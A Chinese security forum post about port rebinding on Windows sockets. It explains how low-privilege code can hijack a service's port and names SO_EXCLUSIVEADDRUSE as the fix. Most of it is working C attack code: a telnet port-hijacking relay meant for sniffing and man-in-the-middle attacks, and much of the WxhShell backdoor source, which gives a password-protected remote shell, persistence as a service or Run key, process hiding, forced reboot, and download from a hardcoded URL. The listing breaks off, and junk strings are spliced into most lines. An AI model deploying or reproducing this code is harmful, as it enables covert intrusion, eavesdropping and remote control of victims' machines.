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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r6.`9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qPI\Y3ZU  
\,UpFuU\  
  saddr.sin_family = AF_INET; (p19"p  
FEC`dSTI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s ;3k#-w  
{gL8s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U46qpb 7  
U0ZT9/4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \d'>Ky;GD  
[Rj_p&'  
  这意味着什么?意味着可以进行如下的攻击: {yo{@pdX>  
/)%$xi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WGmXq.  
#mIgk'kW<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'hoEdJ]t5  
lfJvN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^Z |WD!>`  
-dto46X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wg!<V6}  
u=6LPwiI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;\'d9C  
vpg*J/1[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T`zUgZ]  
[QwBSq8)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N9dx^+\  
.](~dVp%~  
  #include '?Jz8iu-  
  #include [ML|, kq!  
  #include #+"1">l  
  #include    YigDrW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YHp]O+c  
  int main() kEYkd@ {  
  { MaS-*;BY,  
  WORD wVersionRequested; c]/X >8;  
  DWORD ret; A{ a4;`}5  
  WSADATA wsaData; kgb:<{pJ  
  BOOL val; -=InGm\Y  
  SOCKADDR_IN saddr; Z1~`S!(}  
  SOCKADDR_IN scaddr; Ajm  
  int err; !hugn6  
  SOCKET s; WHy r;m3)  
  SOCKET sc; vNDf1B5z  
  int caddsize; A4tb>O M  
  HANDLE mt; `C&@6{L  
  DWORD tid;   1YtbV3  
  wVersionRequested = MAKEWORD( 2, 2 ); 'PvOOhm,  
  err = WSAStartup( wVersionRequested, &wsaData ); 4T>d%Tt+)  
  if ( err != 0 ) { N|2PW ~,  
  printf("error!WSAStartup failed!\n"); grxlGS~Q  
  return -1; X|'[\v2ld  
  } h]vu BHJ}  
  saddr.sin_family = AF_INET; @@3%lr71   
   NX&Z=ObHu}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n`X}&(O  
._[uSBR'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TtWWq5X|  
  saddr.sin_port = htons(23); !BjJ5m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j a'_syn  
  { MMy\u) 4  
  printf("error!socket failed!\n"); Ez+8B|0P  
  return -1; PVi0|  
  } em9nuXG  
  val = TRUE; RZ0+Uu/J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C/!7E:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ':7gYP*v  
  { ] 1s6=  
  printf("error!setsockopt failed!\n"); ROJ=ZYof  
  return -1; MmQk@~  
  } 6Zx)L|B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g!;a5p6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }E^k*S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !>?*gc.<  
W.c>("gC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F):1@.S  
  { 0"l`M5-KP  
  ret=GetLastError(); bl-D{)X  
  printf("error!bind failed!\n"); eWr2UXv$  
  return -1; pwVaSnre`  
  } T*%O\&'r  
  listen(s,2); {Fvl7Sh  
  while(1) i|xC#hV  
  { 1Q7]1fRu  
  caddsize = sizeof(scaddr); p^s:s-"f\  
  //接受连接请求 pB0 SCS*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~?Zm3zOCc2  
  if(sc!=INVALID_SOCKET) ~Kt2g\BSok  
  { 6J <.i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); riQ0'-p  
  if(mt==NULL) M9.FtQhK/  
  { $lg{J$ h8  
  printf("Thread Creat Failed!\n"); t4UL|fI  
  break; GC[Ot~*_  
  } < =!FB8 .  
  } yeLd,M/I  
  CloseHandle(mt); mM'uRhO+  
  } E-deXY  
  closesocket(s); }J6 y NoXu  
  WSACleanup(); =vsvx{o?  
  return 0; X2`n&JE  
  }   MaZVGrcC  
  DWORD WINAPI ClientThread(LPVOID lpParam) %zN~%mJG  
  { B D [<>Wm  
  SOCKET ss = (SOCKET)lpParam; 1sq1{|NW~  
  SOCKET sc; PnH5[4&k  
  unsigned char buf[4096]; Nk<H=kw+  
  SOCKADDR_IN saddr; usw(]CnH  
  long num; *9US>mVy  
  DWORD val; ,WE2MAjhT  
  DWORD ret; zd=N.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <CWOx&hr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   19i=kdH  
  saddr.sin_family = AF_INET; YoSBS   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); nq\~`vH|Gd  
  saddr.sin_port = htons(23); M %!O)r#Pn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZQyXzERp  
  { x??H%'rP  
  printf("error!socket failed!\n"); |eksvO'~  
  return -1; [j?<&^SW  
  } w$aejz`[  
  val = 100; =(Y+u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {5 (M   
  { p+CK+m   
  ret = GetLastError(); j rg B56LL  
  return -1; e!w#{</8Q  
  } ^2nH6,LPS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I=;=;-  
  { awSi0*d~  
  ret = GetLastError(); ?>mpUH  
  return -1; 8COGe=+o  
  } Vg7BK%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )!5"\eys  
  { 9 xFX"_J  
  printf("error!socket connect failed!\n"); [ub)`-6 u  
  closesocket(sc); X(Lz&fkd  
  closesocket(ss); )Mh5q&ow  
  return -1; oot kf=  
  } 8< "lEL|  
  while(1) ,S1'SCwVdJ  
  { /U="~{*-R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8O0]hz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uCj)7>}v{M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +u3vKzD  
  num = recv(ss,buf,4096,0); P UC:Pl77  
  if(num>0) n M `pnR_  
  send(sc,buf,num,0); k"+/DK,:  
  else if(num==0) &&Otj-n5  
  break; $S U<KNMZ  
  num = recv(sc,buf,4096,0); nr%P11U\c  
  if(num>0) VVc-Dx  
  send(ss,buf,num,0); rji<g>GQ  
  else if(num==0) LGWQBEXw  
  break; L/,M@1@R  
  } G$jw#a[L  
  closesocket(ss); UbP$WIrq  
  closesocket(sc); :~~\{fm  
  return 0 ; 87hU#nVYh  
  } sd |c/ayh~  
B";Dj~y  
aK8X,1g%)  
========================================================== ) Hqn  
on f7V  
下边附上一个代码,,WXhSHELL C{YTHN n  
p9eTrFDy?  
========================================================== z"Wyf6H0T  
Pa/2])w  
#include "stdafx.h" xfA@GYCfT  
WU6F-{M"?  
#include <stdio.h> wfM|3GS+.  
#include <string.h> JgB"N/Oz  
#include <windows.h> &IFXU2t}  
#include <winsock2.h> VB~Do?]*k%  
#include <winsvc.h> n&FRjq9y  
#include <urlmon.h> ,772$7x  
e_llW(*l8^  
#pragma comment (lib, "Ws2_32.lib") 0~ cbB  
#pragma comment (lib, "urlmon.lib") 67wq8|  
.;37 e  
#define MAX_USER   100 // 最大客户端连接数 78E<_UgcB  
#define BUF_SOCK   200 // sock buffer W 6CNMI]  
#define KEY_BUFF   255 // 输入 buffer ZV`o: Gd  
$WbfRyXi7'  
#define REBOOT     0   // 重启 j8?rMD~  
#define SHUTDOWN   1   // 关机 9<"l!noy  
DC=XPn/V  
#define DEF_PORT   5000 // 监听端口 +  $/mh  
'e7;^s  
#define REG_LEN     16   // 注册表键长度 z?(QM:  
#define SVC_LEN     80   // NT服务名长度 ! p3vnOX6  
)IGx3+I ,  
// 从dll定义API [?F]S:/i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0vcFX)]yW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E1>zKENN;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8z* /J=n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0zXF{5Up  
mA6Nmq%{ F  
// wxhshell配置信息 5}`e"X  
struct WSCFG { ;V4f6[<]'z  
  int ws_port;         // 监听端口 DZV U!J  
  char ws_passstr[REG_LEN]; // 口令 eed!SmP  
  int ws_autoins;       // 安装标记, 1=yes 0=no o*s3"Ib  
  char ws_regname[REG_LEN]; // 注册表键名 =kn-F T  
  char ws_svcname[REG_LEN]; // 服务名  X&.LX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0/zgjT|fe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {_]<mwd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %s[ n2w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2-gI@8NPI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xu* dPG)v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "y=AVO  
*x&y24  
}; ]o*-|[^?  
hB-<GGcO <  
// default Wxhshell configuration {&.?u1C.\  
struct WSCFG wscfg={DEF_PORT, 1fU~&?&-u  
    "xuhuanlingzhe", vaj-|&  
    1, IsP!ZcV;  
    "Wxhshell", |BA<> WE  
    "Wxhshell", Mt+gg F.  
            "WxhShell Service", l*n4d[0J  
    "Wrsky Windows CmdShell Service", $Z4IPs  
    "Please Input Your Password: ", s@5r}6?M  
  1, O@? *5  
  "http://www.wrsky.com/wxhshell.exe", )` 90*  
  "Wxhshell.exe" Bhw|!Y&%  
    }; ^ot9Q  
kIYV%O   
// 消息定义模块 ?\![W5uuXG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B;xGTl@8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~QE-$;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #"aL M6Cfs  
char *msg_ws_ext="\n\rExit."; pt- 1>Ui  
char *msg_ws_end="\n\rQuit."; O,?aVgY  
char *msg_ws_boot="\n\rReboot..."; >X-*Hu'U#  
char *msg_ws_poff="\n\rShutdown..."; HU+zzTgI  
char *msg_ws_down="\n\rSave to "; P(Ve' wOaf  
7NDjXcuq  
char *msg_ws_err="\n\rErr!"; dX5|A_Ex  
char *msg_ws_ok="\n\rOK!"; };@J)}  
41jlfKiOm  
char ExeFile[MAX_PATH]; MuQ'L=iJ  
int nUser = 0; "N*i!h  
HANDLE handles[MAX_USER]; n 0CS =  
int OsIsNt; SjB#"A5  
)m[dfeqd +  
SERVICE_STATUS       serviceStatus; L% ?3VW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F otHITw[  
S K7b]J>  
// 函数声明 3Mt Alc0xp  
int Install(void); $yg=tWk  
int Uninstall(void); DX%D8atrr  
int DownloadFile(char *sURL, SOCKET wsh); ;m cu(J  
int Boot(int flag); 3WQ"3^G  
void HideProc(void); KHJk}]K  
int GetOsVer(void); ![a~y`<K,  
int Wxhshell(SOCKET wsl); Jdp@3mP  
void TalkWithClient(void *cs); A%c)=(,  
int CmdShell(SOCKET sock); @O%d2bgEWV  
int StartFromService(void); auT'ATW7i  
int StartWxhshell(LPSTR lpCmdLine); \w+a Q?e_  
|8YP8o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t?:Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "ZLujpZcG  
a#o6Nv  
// 数据结构和表定义 #-Ad0/  
SERVICE_TABLE_ENTRY DispatchTable[] = U?d4 ^  
{ j}$Up7pW  
{wscfg.ws_svcname, NTServiceMain}, du k:: |{F  
{NULL, NULL} s.7s:Q`  
}; a4L0Itrp  
81<0B @E  
// 自我安装 1_z6O!rx  
int Install(void) ^#A[cY2eM  
{ eX@7f!uz  
  char svExeFile[MAX_PATH]; 3@7<e~f  
  HKEY key; }475c{  
  strcpy(svExeFile,ExeFile); }lzN)e  
q"Z!}^{  
// 如果是win9x系统,修改注册表设为自启动 8 K/o/  
if(!OsIsNt) { j |tu|Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vt!<.8&`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G]- wN7G  
  RegCloseKey(key); "=BO,see9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }&mFpc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XN=Cq*3}  
  RegCloseKey(key); FTg4i\Wp  
  return 0; VI (;8  
    } 2iM8V  
  }  !&Z,ev  
} 96.z\[0VZ  
else { U8 b1 sz  
%$l^C!qcY  
// 如果是NT以上系统,安装为系统服务 M:~/e8Xv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'C9H6)Zq)  
if (schSCManager!=0) MK<VjpP0(  
{ T"GuE[?a  
  SC_HANDLE schService = CreateService 0kD8wj%  
  ( r_kw "9  
  schSCManager, D-8>?`n\  
  wscfg.ws_svcname, -|DSfI#j  
  wscfg.ws_svcdisp, v0dFP0.;&  
  SERVICE_ALL_ACCESS, 2z\4?HJy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v^lR]9;  
  SERVICE_AUTO_START, H<SL=mb;  
  SERVICE_ERROR_NORMAL, WR*|kh  
  svExeFile, }bv0~}G4  
  NULL, r $du-U  
  NULL, &E{5k{Y  
  NULL, UEq;}4Bo  
  NULL, K+` Vn  
  NULL p.2>- L  
  ); Te8BFcJG  
  if (schService!=0) FNDLqf!j  
  { jz[|rwAp  
  CloseServiceHandle(schService); T2wn!N?r  
  CloseServiceHandle(schSCManager); P#H#@:/3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j}R4m h  
  strcat(svExeFile,wscfg.ws_svcname); 1q!JpC^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n;"4`6L~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W RAW%?$  
  RegCloseKey(key); wS2iyrIB  
  return 0; lxK_+fj q  
    } s9A'{F  
  } T^a {#B  
  CloseServiceHandle(schSCManager); 5Ag>,>kJ6  
} JXeqVKF  
} (nrrzOax  
$ Yz &x%Lb  
return 1; bIm$7a`T  
} $U jSP  
vc2xAAQ  
// 自我卸载 4C /8hsn  
int Uninstall(void) LM'` U-/e$  
{ ](0 Vm_es  
  HKEY key; ) WIlj  
ud:?~?j&w  
if(!OsIsNt) { <nsl`C~6g0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @` .u"@  
  RegDeleteValue(key,wscfg.ws_regname); <J-OwO a-1  
  RegCloseKey(key); !E_uQ?/w]Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +$>ut r  
  RegDeleteValue(key,wscfg.ws_regname); F.8{ H9`  
  RegCloseKey(key); dr6 dK  
  return 0; [/uKo13  
  } GIVs)~/Eq  
} R~*Y@_oD  
} *A\NjXJl~  
else { \Di~DN1  
]bnxOk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xYu~}kMu  
if (schSCManager!=0) g&0GO:F`  
{ IVNNiNN*5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cHsJQU*K6  
  if (schService!=0) j|G-9E  
  { deTbvl  
  if(DeleteService(schService)!=0) { aJ)5DlfLR  
  CloseServiceHandle(schService); T4!]^_t^  
  CloseServiceHandle(schSCManager); 4\OELU  
  return 0; Mqh~5NM  
  } 6vaxp|D  
  CloseServiceHandle(schService); 3sZK[Y|ax  
  } jATU b-  
  CloseServiceHandle(schSCManager); J$I1 *~I4v  
} ~v54$#CB  
} >A,WXzAK}S  
lwg.'<  
return 1; |%V.Lae  
} Fo G<$9  
 <aHt6s'  
// 从指定url下载文件 Ez$5wY^J  
int DownloadFile(char *sURL, SOCKET wsh) <@vE 3v;  
{ kx=AX*I  
  HRESULT hr; blN1Q%m6  
char seps[]= "/"; "G,*Z0V5  
char *token; KFs` u6  
char *file; :> q?s  
char myURL[MAX_PATH]; ibuI/VDF  
char myFILE[MAX_PATH]; }1W$9\%  
r#Fu<so,  
strcpy(myURL,sURL); `P5"5N\h  
  token=strtok(myURL,seps); |@g1|OWd|  
  while(token!=NULL) @Hf }PBb  
  { *=7[Ip< X  
    file=token; 8 KkpXaz  
  token=strtok(NULL,seps); `/AzX *`  
  } VxFy[rP  
\Cs<'(=  
GetCurrentDirectory(MAX_PATH,myFILE); @iRVY|t/  
strcat(myFILE, "\\"); @ tIB'|O  
strcat(myFILE, file); "XY?v8*c  
  send(wsh,myFILE,strlen(myFILE),0); op-#Ig$#  
send(wsh,"...",3,0); 3-R3Qlr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [dJ\|=  
  if(hr==S_OK) 7asq]Y}<  
return 0; UH.cn|R  
else O%&@WrFq  
return 1; YzZF^q^I  
+Y~+o-_  
} 'm cJ/9)v  
+mA=%? l  
// 系统电源模块 6b/b} vl  
int Boot(int flag) Ds87#/Yfv  
{ zFtGc  
  HANDLE hToken; #I?iR 3u  
  TOKEN_PRIVILEGES tkp; vs. uq  
QP B"E W  
  if(OsIsNt) { c Vn+~m_%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [!&k?.*;<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vy@Lu cB  
    tkp.PrivilegeCount = 1; s.sy7%{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^eW.hNg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fqb$_>3Ol  
if(flag==REBOOT) { Y/0O9}hf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2 mZ/ 3u  
  return 0; :*@|"4  
} ge?-^s4M  
else { ? sW`**j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =BS'oBn^6  
  return 0; ?Q)Z..7  
} wWw/1i:|'  
  } g&T Cff  
  else { j#,M@CE  
if(flag==REBOOT) { #`4^zU)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |V\.[F2Fe  
  return 0; _-\s[p5  
} ZYe\"|x,s  
else { kA<r:/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <88}+j  
  return 0; F[=lA"F^  
} X&s\_jQ  
} `_U0>Bfg;  
d:pm|C|F  
return 1; .eNwC.8i  
} ff1B)e  
6r=)V$K <  
// win9x进程隐藏模块 S1juAV=  
void HideProc(void) eBTedSM?t  
{ Vfm #UvA  
SE )j}go  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e'Us(]ZO  
  if ( hKernel != NULL ) jfPJ5]Z  
  { &IEBZB\/+&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qV8\/7'A0a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T 0v@mXBQ  
    FreeLibrary(hKernel); u AS8F=9xP  
  } gDNTIOV  
06 Esc^D  
return; d<GG (  
} `J#xyDL6?  
O;BMwg_7  
// 获取操作系统版本 zg Y*|{4Sl  
int GetOsVer(void) ;=VK _3"  
{ 5;MK1l  
  OSVERSIONINFO winfo; @~#79B"9&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bOSYr<R&  
  GetVersionEx(&winfo); CDwIq>0j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [^d6cMEOlc  
  return 1; KT;C RO>  
  else 2}`Vc{\  
  return 0; y)^CDe2xU  
} S5E,f?l  
W3{<e"  
// 客户端句柄模块 7{+Io  
int Wxhshell(SOCKET wsl) aEFe!_QY  
{ f-v ND'@  
  SOCKET wsh; 4`!  
  struct sockaddr_in client; jU4)zN/`r  
  DWORD myID; r6`^>c  
)' x/q  
  while(nUser<MAX_USER) (m3I#L  
{ ~0[G/A$]  
  int nSize=sizeof(client); RZ)vU'@kx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x#F1@r8R  
  if(wsh==INVALID_SOCKET) return 1; V>>) 7E:Q  
J!A/r<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1YIux,2\  
if(handles[nUser]==0) \p3nd!OIG  
  closesocket(wsh); jWv3O&+?X  
else #}t 1   
  nUser++; Ic{'H2~4,  
  } )Vg{Y [!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @q{:Oc^  
_!C)r*0(  
  return 0; lNA'M&  
} x<{;1F,k3  
{? K|(C  
// 关闭 socket CFkW@\]  
void CloseIt(SOCKET wsh) K.V!@bPlw9  
{ :_fjml/  
closesocket(wsh); STXqq[+Rf  
nUser--; 0$f_or9T  
ExitThread(0); qUEd E`B  
} - 5o<Q'(  
5Aa31"43n  
// 客户端请求句柄 OXIu>jF  
void TalkWithClient(void *cs) $/<"Si&(  
{ %2Xus9;k#  
[$1: &!(!  
  SOCKET wsh=(SOCKET)cs; cYq']$]  
  char pwd[SVC_LEN]; oRT  
  char cmd[KEY_BUFF]; HIPcZ!p  
char chr[1]; as\<nPT{Fj  
int i,j; Xc8= 2n  
VVI8)h8  
  while (nUser < MAX_USER) { /`4v"f0V  
V 5e\%  
if(wscfg.ws_passstr) { Rm,[D)D^0N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o;M.Rt\A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S.Wh4kMUe  
  //ZeroMemory(pwd,KEY_BUFF); 1EC-e|M.  
      i=0; ;PfeP ;z  
  while(i<SVC_LEN) { 629~Uc6]  
^MWEfPt  
  // 设置超时 GZ/pz+)i&  
  fd_set FdRead; Eu`2w%qz  
  struct timeval TimeOut; 7gVh!rm  
  FD_ZERO(&FdRead); z9k*1:  
  FD_SET(wsh,&FdRead); KAj"p9hq+k  
  TimeOut.tv_sec=8; $'A4RVVT  
  TimeOut.tv_usec=0; 86;+r'3p.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SWNU1x{,c\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); blRY7  
^3Z7dIUww  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %+AS0 JhB  
  pwd=chr[0]; ewb*?In  
  if(chr[0]==0xd || chr[0]==0xa) { Pcs^@QP  
  pwd=0; ! 6p>P4TT  
  break; 2x7(}+eD  
  } uI%N?  
  i++; :3111}>c  
    } C-s>1\I  
9nT?|n]>  
  // 如果是非法用户,关闭 socket ]%gp?9wy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <u6c2!I{  
} ~mN g[]  
^-gfib|VGe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Si#"Wn?|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C/mg46 v2W  
Nc G,0K  
while(1) { D3<IuWeM  
7[ZkM+z!  
  ZeroMemory(cmd,KEY_BUFF); f:_=5e +  
e(?:g@]-r  
      // 自动支持客户端 telnet标准   kR<xtHW  
  j=0; B1|?RfCe  
  while(j<KEY_BUFF) { $a`J(I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DBQOxryP>o  
  cmd[j]=chr[0]; U8 Z~Y}29  
  if(chr[0]==0xa || chr[0]==0xd) { P#AAOSlLV  
  cmd[j]=0; E"Zb};}  
  break; J9g|#1G  
  } /6Y0q9  
  j++; m,\i  
    } * eA{[  
[?;`x&y~y  
  // 下载文件 uK$=3[;U/!  
  if(strstr(cmd,"http://")) { `-~`<#E[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U'rr?,RML  
  if(DownloadFile(cmd,wsh)) bBA$}bv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i^`vmK  
  else 2>\b:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {?w"hjy  
  } Xwn3+tSIa  
  else { ZH\0=l)  
3 t/ R2M  
    switch(cmd[0]) { x:p}w[WM  
  D0f*eSXE{  
  // 帮助 iwvt%7  
  case '?': { ojX%RU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lco~X DI  
    break; L {!ihJr  
  } /j11,O?72  
  // 安装 _8al  
  case 'i': { p Z"o@';!  
    if(Install()) Ft3I>=f{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l(gJLjTH%  
    else Dzo{PstM%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'c#IMlv  
    break; i[PvDv"n  
    } RV}GK L>gn  
  // 卸载 un6cD$cHr  
  case 'r': { w(Gz({l+  
    if(Uninstall()) #9i6+. Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wra byRjK  
    else "NKf0F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oKRFd_r+  
    break; k}HQq_Y(<  
    } N};t<Xev  
  // 显示 wxhshell 所在路径 pr$~8e=c  
  case 'p': { )%qtE34`  
    char svExeFile[MAX_PATH]; * MEe,4  
    strcpy(svExeFile,"\n\r"); 0Qp[\ia  
      strcat(svExeFile,ExeFile); gJh}CrU-  
        send(wsh,svExeFile,strlen(svExeFile),0); i|S: s  
    break; z{|LQt6q  
    } 9KyZEH;pY  
  // 重启 \DS^i`o)rY  
  case 'b': { doM?8C#`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3{e'YD~hP  
    if(Boot(REBOOT)) [x5mPjgw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LWD#a~  
    else { f`?0WJ(M  
    closesocket(wsh); 4sIX O  
    ExitThread(0); s/t11;  
    } ybE[B}pOeZ  
    break; Pw{"_g  
    } 3;l"=#5  
  // 关机 4mJFvDZV`  
  case 'd': { oRq3 pO}f  
